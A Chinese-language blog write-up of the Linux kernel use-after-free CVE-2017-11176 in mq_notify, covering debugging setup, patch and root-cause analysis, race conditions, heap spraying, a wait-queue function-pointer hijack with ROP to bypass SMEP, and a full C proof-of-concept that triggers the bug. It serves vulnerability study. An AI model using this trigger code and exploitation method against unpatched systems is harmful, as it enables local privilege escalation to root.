Linux kernel UAF(CVE-2017-11176)漏洞分析与利用 | xxxLinux kernel UAF(CVE-2017-11176)漏洞分析与利用 – xxx
菜单

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

七月 15, 2021 - 安全客

robots

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

 

作者:维阵漏洞研究员—km1ng

01 概述

Linux内核中的POSIX消息队列实现中存在一个UAF漏洞CVE-2017-11176。攻击者可以利用该漏洞导致拒绝服务或执行任意代码。

 

02 影响范围

内核版本至最高Linux kernel through 4.11.9中的mq_notify函数在进入etry logic时不会将sock指针设置为NULL。在Netlink套接字的用户空间关闭期间,它允许攻击者导致UAF。

Red Hat:

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

Ubuntu:

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

Debian:

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

https://www.cvedetails.com/cve/CVE-2017-11176/
https://www.suse.com/security/cve/CVE-2017-11176/
https://ubuntu.com/security/CVE-2017-11176
https://access.redhat.com/security/cve/CVE-2017-11176

 

03 环境搭建

3.1 调试环境

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

3.2 Centos7 双机调试

3.2.1 centos执行命令

yum install -y kernel-devel   sudo vim /etc/yum.repos.d/CentOS-Debuginfo.repo      里面的enable字段修改为enable=1  sudo debuginfo-install kernel        vi /boot/grub2/grub.cfg   vi /etc/grub2.cfg      执行上面命令,找到如下图所示menuentry 中的linux所在的行,在quiet后追加下面的一行      kgdbwait kgdb8250=io,03f8,ttyS0,115200,4 kgdboc=ttyS0,115200 kgdbcon nokaslr  执行下面命令更新grub  grub2-mkconfig -o /boot/grub2/grub.cfg  grub2-mkconfig -o /etc/grub2.cfg

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

上面的ttyS0是有可能改变的,如有打印机等请移除。

3.2.2 vmware添加串口

centos7添加串口:

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

ubuntu添加串口:

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

测试串口:

centos执行:cat/dev/ttyS0  ubuntu执行:echo hello > /dev/ttyS0

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

如上图所示centos输出hello代表成功。

3.2.3 测试调试环境

拷贝centos中的vmlinux到ubuntu(调试机),下面是本文章vmlinux所在的绝对路径。

/usr/lib/debug/lib/modules/3.10.0-693.el7.x86_64/vmlinux

重新启动centos,会发现centos如下图所示。

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

ubuntu执行下面的命令,每次ubuntu重启后都需要重新执行。

sudo stty -F /dev/ttyS0 115200  sudo stty -F /dev/ttyS0  gdb      target remote /dev/ttyS0      file vmlinux      c

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

centos正常运行,调试环境搭建成功。

3.3 下载源码

uname -a       查看自己内核版本  cat /etc/redhat-release      查看版本

下面的链接为centos源码下载官网:
https://vault.centos.org/

打开后如下图所示。

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

进入官网后,再一次进入自己对应机器的版本。这里进入7.4,进入os/,进入Source/,进入SPackages/,找到对应版本的rpm包下载在解压即可。

将得到的源码包放入ubuntu调试机。(如果本地的物理机是windows也保留一份,需要对照源码)

调试centos内核的时候,使用dir命令加载源码,在使用l命令查看是否成功,如下图所示。

dir /home/koffer/linux-3.10.0-693.el7

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

先使用exploit验证一下漏洞是否存在,提权成功。

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

 

04 补丁分析

源码的下载方式上面已给出,使用任何习惯的代码阅读器打开。

补丁地址:
https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/id=f991af3daabaecff34684fd51fac80319d1baad1

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

可以发现补丁点在mqueue.c,并且只添加了一行。

patch的描述提供了更多的信息:

mqueue: fix a use-after-free in sys_mq_notify()  The retry logic for netlink_attachskb() inside sys_mq_notify()  is nasty and vulnerable:    1) The sock refcnt is already released when retry is needed  2) The fd is controllable by user-space because we already     release the file refcnt    so we then retry but the fd has been just closed by user-space  during this small window, we end up calling netlink_detachskb()  on the error path which releases the sock again, later when  the user-space closes this socket a use-after-free could be  triggered.    Setting 'sock' to NULL here should be sufficient to fix it

1、有漏洞的代码存在于mq_notify
2、在retry的逻辑中有错误
3、在sock的计数器上有错误导致UAF
4、漏洞与已经关闭的fd的条件竞争有关

介绍下mqnotify系统调用的用途,mq_*代表”POSIX message queues”,用来代替System V message queues:

POSIX message queues allow processes to exchange data in the form of messages.  This API is distinct from that provided by System V message  queues (msgget(2),  msgsnd(2), msgrcv(2), etc.), but provides similar functionality.

mq_notify()系统调用用来注册或注销异步提醒:

mq_notify() allows the calling process to register or unregister for delivery of an asynchronous notification when a new message arrives on the empty message queue referred to by the descriptor mqdes.

 

05 漏洞成因分析

Posix消息队列允许异步事件通知,当往一个空队列放置一个消息时,Posix消息队列允许产生一个信号或启动一个线程。这种异步事件通知调用mq_notify函数实现,mq_notify为指定队列建立或删除异步通知。由于mq_notify函数在进入retry流程时没有将sock指针设置为NULL,可能导致UAF漏洞。

本文章使用的内核源代码为centos7.4 1708 版本默认内核版本版本3.10.0-693.el7的源码。

首先查看漏洞所在代码/ipc/mqueue.c:

SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,      const struct sigevent __user *, u_notification)

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

根据上面的补丁信息,先查看函数的执行流程,下图是经过删减的mq_notify函数。

    // from [ipc/mqueue.c]        SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,          const struct sigevent __user *, u_notification)      {        int ret;        struct file *filp;        struct sock *sock;        struct sigevent notification;        struct sk_buff *nc;          // ... cut (copy userland data to kernel + skb allocation) ...          sock = NULL;    retry:  [0]       filp = fget(notification.sigev_signo);            if (!filp) {              ret = -EBADF;  [1]         goto out;            }  [2a]      sock = netlink_getsockbyfilp(filp);  [2b]      fput(filp);            if (IS_ERR(sock)) {              ret = PTR_ERR(sock);              sock = NULL;  [3]         goto out;            }              timeo = MAX_SCHEDULE_TIMEOUT;  [4]       ret = netlink_attachskb(sock, nc, &timeo, NULL);            if (ret == 1)  [5a]        goto retry;            if (ret) {              sock = NULL;              nc = NULL;  [5b]        goto out;            }    [5c]    // ... cut (normal path) ...          out:          if (sock) {            netlink_detachskb(sock, nc);          } else if (nc) {            dev_kfree_skb(nc);          }          return ret;        }

首先开始从【0】处获取用户提供的文件描述符,如果这个fd不存在于当前进程的fdt中,将会返回空指针并进入退出流程[1]。

[2a]提供的文件的sock对象也被获取。如果没有有效的sock对象,同样会置NULL并进入退出流程[3]。

随后调用netlink_attachskb()函数。
1、直接到【5c】处
2、ret==1 执行到retry
3、nc和sock置为NULL然后执行到退出流程

根据补丁信息应该是要netlink_attachskb返回值为1执行到retry处才能触发漏洞,但是还有一块逻辑nc和sock为什么要置为NULL。

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

跟进netlink_detachskb函数:

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

再次跟进sock_put函数:

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

可以发现sock被置NULL并进入退出流程他的引用计数器sk_refcnt无条件会减一。正如patch所描述的,漏洞代码的sock对象的refcount存在着问题。

回头去查看retry处代码:

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

发现了netlink_getsockbyfilp函数。跟进netlink_getsockbyfilp函数,如下图所示。

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

sock对象的refcounter在sock_hold处被增加,计数器无条件地被netlink_getsockbyfilp()加一,被netlink_detachskb()(如果sock非空)减一。

下面为netlink_attachskb函数简化代码:

// from [net/netlink/af_netlink.c]    /*   * Attach a skb to a netlink socket.   * The caller must hold a reference to the destination socket. On error, the   * reference is dropped. The skb is not sent to the destination, just all   * all error checks are performed and memory in the queue is reserved.   * Return values:   * < 0: error. skb freed, reference to sock dropped.   * 0: continue   * 1: repeat lookup - reference dropped while waiting for socket memory.   */    int netlink_attachskb(struct sock *sk, struct sk_buff *skb,            long *timeo, struct sock *ssk)  {    struct netlink_sock *nlk;      nlk = nlk_sk(sk);      if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {        // ... cut (wait until some conditions) ...        sock_put(sk);         // <----- refcnt decremented here        if (signal_pending(current)) {        kfree_skb(skb);        return sock_intr_errno(*timeo); // <----- "error" path      }      return 1;   // <----- "retry" path    }    skb_set_owner_r(skb, sk);   // <----- "normal" path    return 0;  }

函数的功能是将skb绑定到netlink socket,sock_put(sk)导致refcnt减少,最后return 1,返回返回直接goto到retry标签的地方。

如下图所示,这里并没有将sock和nc置为NULL:

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

下面这两处函数的调用刚好将引用计数抵消:

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

如下图所示在retry代码块中,f=fdget(notification.sigev_signo),如果f.file为空,直接goto到out标签。

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

在上面的分析中,out判断sock是否为空,如果不为空,调用netlink_detachskb函数。释放skb,并减少sk引用计数,进行释放。那么就有问题了,如果我们创建A线程保持netlink_attachskb返回1,并重复retry逻辑,这个时候sock的引用计数是保持平衡的,一加一减,但是sock并不是为空。同时再创建B线程去关闭netlink socket对应的文件描述符。由于B线程关闭了netlink socket的文件描述符,那A线程在retry逻辑中,调用fdget时会失败,然后直接goto到out标签,进行释放,进行了二次释放,导致漏洞。这个漏洞是属于条件竞争型的二次释放漏洞,只在一个线程中,是无法触发漏洞。

 

06 触发漏洞

现在已经知道漏洞是如何造成的了,但是如何触发这个漏洞。

6.1 netlink_attachskb函数流程分析

在netlink_attachskb函数中,主要逻辑如下:

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

1、判断atomic_read(&sk->sk_rmem_alloc)是否大于sk->sk_rcvbuf,或者 test_bit(NETLINK_CONGESTED,&nlk->state))是否为真,和netlink_skb_is_mmaped(skb)是否为空;其中netlink_skb_is_mmaped(skb)返回结构肯定为True。

· 如果进入该分支,首先会调用 DECLARE_WAITQUEUE声明一个等待队列;

· 判断timeo是否为空,这里不为空,不进入后续分支;

· 随后调用__set_current_state设置当前task状态TASK_INTERRUPTIBLE;

· 然后调用add_wait_queue将当前线程添加到 wait队列;

· 然后进入判断,由于(atomic_read(&sk->sk_rmem_alloc)>sk->sk_rcvbuf || test_bit(NETLINK_CONGESTED,&nlk->state))这个判断在最开始已经为真,所以只需要确定 sock_flag是否为sock_DEAD。若为真,则调用schedule_timeout进行cpu调度,当前线程进入block状态;

· 调用__set_current_state函数,设置当前task为TASK_RUNNING;

· 调用remove_wait_queue函数,将当前线程从 wait队列中移除;

· 调用sock_put函数,将sock的引用计数减1;

· 最后调用signal_pending判断当前current,若为真,则调用kfree_skb释放skb;

· 最后返回1。

2、如果不进入该分支,则会调用netlink_skb_set_owner_r函数:

会调用atomic_add将sk->sk_rmem_alloc加上skb->truesize,也就是扩大了sk->sk_rmem_alloc大小。

首先netlink_skb_is_mmaped(skb)肯定为True,所以只需要(atomic_read(&sk->sk_rmem_alloc)>sk->sk_rcvbuf || test_bit(NETLINK_CONGESTED,&nlk->state))为真即可。

为了触发漏洞,需要netlink_attachskb的返回值为1,可以通过增大sk->sk_rmem_alloc的值或减小sk->sk_rcvbuf的值。

6.2 增大sk->sk_rmem_alloc

在netlink_attachskb函数中,首先会对sk->sk_rmem_alloc与sk->sk_recvbuf函数进行判断,如果判断不通过,则会执行到netlink_set_owner_r函数。

sk_rmem_alloc可以视为sk缓冲区的当前大小,sk_rcvbuf是sk的理论大小,因为sk_rmem_alloc有等于0的情况,因此sk_rcvbuf可能需要<0才可以,在sock_setsockopt函数中可以设置sk_rcvbuf的值,但是它的值始终会是一个>0的值,因此这个判断很难以通过。会直接执行到 netlink_skb_set_owner_r。

那么是否能够通过多次调用mq_notify()函数,第一次直接执行netlink_skb_set_owner_r来增大 sk_rmem_alloc,然后第二次执行时由于 sk_rmem_alloc已经增大了来进入返回1的路径。

消息队列的一个成员只能执行一次。所以只能想办法用其他路径来触发netlink_skb_set_owner_r,以此来增大sk_rmem_alloc。这里先寻找一下关于 netlink_skb_set_owner_r的调用链。

最终发现如下调用链,可以调用skb_set_owner_r来更改sk_rmem_alloc的值:

netlink_sendmsg->netlink_unicast->netlink_attachskb->netlink_skb_owner_r

查看netlink_sendmsg代码:

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

执行netlink_unicast函数需要满足如下条件:

· msg->msg_flags不等于MSG_OOB

· scm_send返回值大于等于0,也即保证msg->msg_controllen<=0即可

· addr->nl_family=AF_NETLINK,且 dst_group不等于dst_portid,netlink_allowed返回值不为空

· nlk->portid不为空,且sk->sk_sndbuf-32大于len

· 需要控制msg->msg_iter的typenr_segsiov为对应值

最后调用netlink_unicast,但是这个函数里面没有易于我们控制的参数。

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

调用该函数可以直接通过调用链调用 netlink_attachskb,最后调用 netlink_skb_set_owner_r,也就是会增加 sk_rmem_alloc的值。

6.3 减小sk->sk_rcvbuf

setsockopt函数中,找到sock_setsockopt的函数,其中有对sk->sk_rcvbuf的操作:

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

首先val从val和sysctl_rmem_max中取最小值。然后sk->sk_rcvbuf从val*2和sock_min_rcvbuf中取最大值。这里就可以修改sk->sk_rcvbuf的值。这里的val是由我们传入的,可以控制sk->sk_rcvbuf的大小。

当ret==1时触发漏洞,ret为netlink_attachskb的返回值,mq_notify系统调用执行到 netlink_attachskb的条件:

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

· u_notification !=NULL
· notification.sigev_notify = SIGEV_THREAD
· notification.sigev_value.sival_ptr必须有效
· notification.sigev_signo提供一个有效的文件描述符

6.4 唤醒线程

在上面对netlink_attachskb进行分析时讲到当进入 if分支后,会执行schedule_timeout,会让当前线程进入block状态。而不想阻塞线程,只能设置 sock_flag为SOCK_DEAD,但是如果这样设置后面就没法再执行了。所以这里必须得进入block状态,我们只能想办法去唤醒被block的线程。

调用wake_up_interruptible来唤醒线程,调用链和代码如下所示:

netlink_setsockopt->wake_up_interruptible

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

6.5 retry跳转到out

通过上面的操作,已经能保证netlink_attackskb首先进入retry分支。然后我们要使retry循环出错,直接跳转到out代码块。

netlink_attackskb的正常流程为:

· netlink_getsockbyfilp根据fd获取sock结构,此时 ock的引用加1;

· 然后进入attachskb函数,判断此时的sk是不是满了,如果满了,则sock的引用减一;

· 然后继续尝试获取sock,当sock还有剩余空间的时候,把skb跟sock绑定;

· 此时sock的引用,一加一减保持平衡。

通过多线程同时竞争则会产生如下情况:

· 当线程1还未进入retry时,线程2调用了close触发了fputs,使引用计数ref count减1,并从映射表中将fd和文件的映射移除,因为调用 close(fd)函数将会释放最后一个对文件的引用,所以file结构体将会被释放。由于file结构体被释放,相关联的sock的结构体的引用计数减1,且sock的计数为0,导致其被释放。这时 sock指针并没有被设置为 NULL,使其成为一个野指针。

· 然后在线程1中,因为 fd已经不指向任何有效的文件结构,所以第二次调用 fget()时会失败,程序将会跳转到 out标签处,接着 netlink_detachskb()将会使用之前已经被释放的 sock指针,导致 use after free。这里的 use after free是漏洞导致的结果而不是漏洞产生的原因。

 

07 漏洞利用

7.1 堆分配

对于UAF类型的漏洞,通用方法就是使用堆喷射占位。本次漏洞中被多次释放的对象是netlink_sock对象。netlink_sock对象大小为0x4a8字节,即是1192byte。

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

slab分配器在分配对象时,遵守后进先出的规则。下图是slab分配器释放对象的过程。

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

要释放的objp在ac->entry的末端,slab分配对象直接在ac->entry末端弹出一个对象。

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

被释放的对象是排在链表末段,如果此时同一缓存中进行对象分配,刚刚释放的对象会被重新分配出去,这就出现两个指针指向同一块内存地址。要想保证申请的内存正好落在漏洞对象的内存位置中:

堆喷对象使用的内核缓存应该和漏洞对象内存在同一个缓存中。

ac本身是array_chche结构体,该结构体是本地高速缓存,每个CPU对应一个,所以还要保证堆喷申请的对象和漏洞对象在同一个CPU本地高速缓存中。

如果堆喷申请的对象只是短暂驻留,当该函数返回时将申请的对象进行了释放,导致无法正确占位。所以要能保证申请的对象不被释放,至少保证在使用漏洞对象时不被释放,这里要采用驻留式内存占位,可以采取让某些系统调用过程阻塞。

7.2 利用流程分析

7.2.1 wait等待队列

在进行堆喷、构造堆喷对象时,有必要在对应漏洞对象的一些特殊成员域的内存偏移处设置magic value,然后可以采用系统调用去获取漏洞对象中相关数据进行判断。netlink_sock结构体几个关键的成员如下图所示:

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

采用getsockname系统调用获取数据,getsockname会调用netlink_getname。具体看一下netlink_getname函数:

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

将netlink_sock对象中的portid复制给nladdr->nl_pid。如果nlk->group为0,将nladdr->nl_groups赋值为NULL,这里避免解引用nlk->groups指针,直接可以在构造堆喷对象时将groups域填零。而nladdr是从addr转换过来的,addr就是从用户层传入的缓冲区,netlink_sock结构体如下:

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

wait_queue_haed_t结构体如下图所示:

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

7.2.2 func执行代码

task_list成员是一个双向循环链表头,task_list中链接的每一个成员都是需要处理的等待例程元素。进入如下图所示的wake_up_interruptible函数中。

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

如上图所示调用__wake_up_common函数,宏list_for_each_entry_safe遍历q->task_list中的成员。curr为wait_queue_t指针,说明q->task_list链表中存的是wait_queue_t类型的元素,wait_queue_t结构体。

wait_queue_t结构体如下所示:

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

wait_queue_t结构体中有一个函数指针func。再看wake_up_common函数中,直接执行curr>func函数,可以通过构造wait_queue的func参数控制RIP。再回过头看list_for_each_entry_safe宏:

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

pos是wait_queue元素,对pos->member.next进行了解引用,这里的pos->member就是wait_queue中的task_list。__wait_queue中的task_list也是一个链表头,需要指向一个list_head,所以还必须要构造一个假的list_head以便于该宏进行解引用。

7.3 调试验证

根据上面的分析已经明白了漏洞触发到漏洞利用的一个整体的流程,编写漏洞利用代码并测试,可以先在netlink_attachskb下断点,判断返回值是否为1,如果为1说明已经进入retry分支,然后在fdget下断点判断是否为0,判断成功后将会进入out分支,double-fetch成功。

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

如下图所示netlink_attachskb返回1,成功进入retry。

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

继续对fdget下断点,查看是否如我们想象中的那样运行。

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

如上图所示fget返回值为0,程序的执行流程转为out。

在__wake_up_common调用函数指针下断点执行下去,发现程序最终执行到构造的rop链条,如下图所示。

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

下图是我使用的centos7.4所构造的rop链条。

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

通过ROP链绕过SMEP执行提权代码。

Linux kernel UAF(CVE-2017-11176)漏洞分析与利用

 

08 poc

下面的代码是可以触发漏洞的poc。

  /*   * CVE-2017-11176 Proof-of-concept code by LEXFO.   *   * Compile with:   *   *  gcc -fpic -O0 -std=c99 -Wall -pthread exploit.c -o exploit   */    #define _GNU_SOURCE  #include <asm/types.h>  #include <mqueue.h>  #include <stdio.h>  #include <stdlib.h>  #include <string.h>  #include <unistd.h>  #include <sys/syscall.h>  #include <sys/types.h>  #include <sys/socket.h>  #include <linux/netlink.h>  #include <pthread.h>  #include <errno.h>  #include <stdbool.h>    // ============================================================================  // ----------------------------------------------------------------------------  // ============================================================================    #define NOTIFY_COOKIE_LEN (32)  #define SOL_NETLINK (270) // from [include/linux/socket.h]    // ----------------------------------------------------------------------------    // avoid library wrappers  #define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)  #define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)  #define _setsockopt(sockfd, level, optname, optval, optlen)     syscall(__NR_setsockopt, sockfd, level, optname, optval, optlen)  #define _getsockopt(sockfd, level, optname, optval, optlen)     syscall(__NR_getsockopt, sockfd, level, optname, optval, optlen)  #define _dup(oldfd) syscall(__NR_dup, oldfd)  #define _close(fd) syscall(__NR_close, fd)  #define _sendmsg(sockfd, msg, flags) syscall(__NR_sendmsg, sockfd, msg, flags)  #define _bind(sockfd, addr, addrlen) syscall(__NR_bind, sockfd, addr, addrlen)    // ----------------------------------------------------------------------------    #define PRESS_KEY()     do { printf("[ ] press key to continue...n"); getchar(); } while(0)    // ============================================================================  // ----------------------------------------------------------------------------  // ============================================================================    struct unblock_thread_arg  {    int sock_fd;    int unblock_fd;    bool is_ready; // we can use pthread barrier instead  };    // ----------------------------------------------------------------------------    static void* unblock_thread(void *arg)  {    struct unblock_thread_arg *uta = (struct unblock_thread_arg*) arg;    int val = 3535; // need to be different than zero      // notify the main thread that the unblock thread has been created. It *must*    // directly call mq_notify().    uta->is_ready = true;       sleep(5); // gives some time for the main thread to block      printf("[ ][unblock] closing %d fdn", uta->sock_fd);    _close(uta->sock_fd);      printf("[ ][unblock] unblocking nown");    if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))      perror("[+] setsockopt");    return NULL;  }    // ----------------------------------------------------------------------------    static int decrease_sock_refcounter(int sock_fd, int unblock_fd)  {    pthread_t tid;    struct sigevent sigev;    struct unblock_thread_arg uta;    char sival_buffer[NOTIFY_COOKIE_LEN];      // initialize the unblock thread arguments    uta.sock_fd = sock_fd;    uta.unblock_fd = unblock_fd;    uta.is_ready = false;      // initialize the sigevent structure    memset(&sigev, 0, sizeof(sigev));    sigev.sigev_notify = SIGEV_THREAD;    sigev.sigev_value.sival_ptr = sival_buffer;    sigev.sigev_signo = uta.sock_fd;      printf("[ ] creating unblock thread...n");    if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)    {      perror("[-] pthread_create");      goto fail;    }    while (uta.is_ready == false) // spinlock until thread is created      ;    printf("[+] unblocking thread has been created!n");      printf("[ ] get ready to blockn");    if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF))    {      perror("[-] mq_notify");      goto fail;    }    printf("[+] mq_notify succeedn");      return 0;    fail:    return -1;  }    // ============================================================================  // ----------------------------------------------------------------------------  // ============================================================================    /*   * Creates a netlink socket and fills its receive buffer.   *   * Returns the socket file descriptor or -1 on error.   */    static int prepare_blocking_socket(void)  {    int send_fd;    int recv_fd;    char buf[1024*10];    int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF      struct sockaddr_nl addr = {      .nl_family = AF_NETLINK,      .nl_pad = 0,      .nl_pid = 118, // must different than zero      .nl_groups = 0 // no groups    };      struct iovec iov = {      .iov_base = buf,      .iov_len = sizeof(buf)    };      struct msghdr mhdr = {      .msg_name = &addr,      .msg_namelen = sizeof(addr),      .msg_iov = &iov,      .msg_iovlen = 1,      .msg_control = NULL,      .msg_controllen = 0,      .msg_flags = 0,     };      printf("[ ] preparing blocking netlink socketn");      if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||        (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)    {      perror("socket");      goto fail;    }    printf("[+] socket created (send_fd = %d, recv_fd = %d)n", send_fd, recv_fd);      while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))    {      if (errno != EADDRINUSE)      {        perror("[-] bind");        goto fail;      }      addr.nl_pid++;    }      printf("[+] netlink socket bound (nl_pid=%d)n", addr.nl_pid);      if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))      perror("[-] setsockopt"); // no worry if it fails, it is just an optim.    else      printf("[+] receive buffer reducedn");      printf("[ ] flooding socketn");    while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)      ;    if (errno != EAGAIN)    {      perror("[-] sendmsg");      goto fail;    }    printf("[+] flood completedn");      _close(send_fd);      printf("[+] blocking socket readyn");    return recv_fd;    fail:    printf("[-] failed to prepare block socketn");    return -1;  }    // ============================================================================  // ----------------------------------------------------------------------------  // ============================================================================    int main(void)  {    int sock_fd  = -1;    int sock_fd2 = -1;    int unblock_fd = 1;      printf("[ ] -={ CVE-2017-11176 Exploit }=-n");      if ((sock_fd = prepare_blocking_socket()) < 0)      goto fail;    printf("[+] netlink socket created = %dn", sock_fd);      if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))    {      perror("[-] dup");      goto fail;    }    printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)n", unblock_fd, sock_fd2);      // trigger the bug twice    if (decrease_sock_refcounter(sock_fd, unblock_fd) ||        decrease_sock_refcounter(sock_fd2, unblock_fd))    {      goto fail;    }      printf("[ ] ready to crash?n");    PRESS_KEY();      // TODO: exploit      return 0;    fail:    printf("[-] exploit failed!n");    PRESS_KEY();    return -1;  }    // ============================================================================  // ----------------------------------------------------------------------------  // ============================================================================

 

09 总结

此漏洞的原理很简单、利用方式不是很难,但是我也调试挺长时间,难点在于如何去触发漏洞以及利用漏洞的时候绕过各种检查和条件。虽然现在已经得到了root shell但是还有很多需要改善的地方。分析复现漏洞应该更加关注自己使用的环境,自己的环境和别人文章中的是有不同的。清楚明白漏洞产生的原因,如何去触发漏洞、绕过检查、利用手法、清理环境等。这篇文章也是笔者第一次分析复现linux下的内核提权漏洞,如有不当之处还请指正。

视频演示:

https://www.bilibili.com/video/BV1Z54y1n77q

参考链接:

https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html

https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part2.html

https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html

https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part4.html

https://sunichi.github.io/2019/10/08/CVE-2017-11176-2/

https://paper.seebug.org/785/#3

https://a1ex.online/2021/04/08/CVE-2017-11176-Kernel-double-fetch%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

https://www.anquanke.com/post/id/190179


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51